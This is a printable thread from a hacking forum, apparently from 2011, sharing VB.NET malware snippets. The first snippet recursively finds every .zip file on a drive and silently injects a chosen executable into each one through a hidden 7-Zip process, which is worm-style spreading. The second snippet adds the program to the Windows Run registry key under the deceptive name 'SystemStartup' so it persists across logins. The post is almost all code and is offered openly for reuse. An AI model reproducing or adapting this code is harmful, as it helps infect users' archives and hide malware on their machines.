![]() |
|
Startup / 7Zip and WinRAR Spread - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework) +--- Thread: Startup / 7Zip and WinRAR Spread (/Thread-Startup-7Zip-and-WinRAR-Spread) |
Startup / 7Zip and WinRAR Spread - Clan99 - 07-03-2011 7Zip-WinRAR Code: Public Sub ZipSpread(ByVal MainDir As String, ByVal YourFile As String)
' 7Zip AutoSpread [VB.NET]
' Written by Vorfin
' Vorfin**GoogleMail.Com
' Usage - ZipSpread("D:\", "D:\File.exe")
' Credit Me If Used. > Do Not Remove This Part.
' 27/05/2010
Dim Dir As String
Dim File As String
Dim ZipPath As Object
Dim ProgramFiles As String = _
System.Environment.GetFolderPath _
(Environment.SpecialFolder.ProgramFiles)
Dim Lst As New ListBox
Try
For Each Dir In Directory.GetDirectories(MainDir)
For Each File In Directory.GetFiles(Dir, "*.zip")
Lst.Items.Add(File)
Next
ZipSpread(Dir, YourFile)
Next
Catch excpt As System.Exception
End Try
For Each ZipPath In Lst.Items
Dim p As New ProcessStartInfo
p.FileName = ProgramFiles & "\7-Zipz\7z.exe"
p.Arguments = " a " & ZipPath.ToString & " " & YourFile
p.WindowStyle = ProcessWindowStyle.Hidden
Process.Start(p)
Next
End SubStartup Code: Private Sub chkStartup_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles chkStartup.CheckedChanged
Dim AppPath As String = Application.ExecutablePath
If chkStartup.Checked Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", _
"SystemStartup", AppPath)
Else
Dim key = My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
key.DeleteValue("SystemStartup")
key.Close()
End If
End Sub |